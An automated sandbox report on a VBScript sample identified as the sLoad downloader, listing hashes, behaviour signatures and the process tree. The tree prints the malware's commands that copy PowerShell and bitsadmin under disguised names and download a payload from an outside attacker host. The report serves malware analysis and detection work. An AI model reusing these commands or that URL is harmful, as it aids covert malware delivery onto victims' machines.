Analysis

  • max time kernel
    117s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21-02-2022 22:29

General

  • Target

    56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b.vbs

  • Size

    9KB

  • MD5

    f680c06c3ba90319e66f7e51879aa661

  • SHA1

    97937ce0a605ac4ba37e25c090cc52b8d8c158ed

  • SHA256

    56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b

  • SHA512

    86def545293b71e4171f76f19f80628833e270c8ef62f1bda0de5fa22bbe86396888f17de296da9d0f5198c1435263be907d342034a7ebd5ff9c45f205bc8473

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnWDuSw.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\CtTkBBi*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnWDuSw.exe
        3⤵
          PID:464
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\CtTkBBi*.exe
          3⤵
            PID:1064
        • C:\ProgramData\CtTkBBiin.exe
          "C:\ProgramData\CtTkBBiin.exe" /transfer MbciAS /download https://cxminute.com/minu/LLLMRC84B29A944R/it.jpg C:\Users\Admin\AppData\Roaming\it.jpg
          2⤵
          • Executes dropped EXE
          PID:1280

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\CtTkBBiin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\CtTkBBiin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1280-58-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

        Filesize

        8KB

      • memory/1684-55-0x000007FEFB5B1000-0x000007FEFB5B3000-memory.dmp

        Filesize

        8KB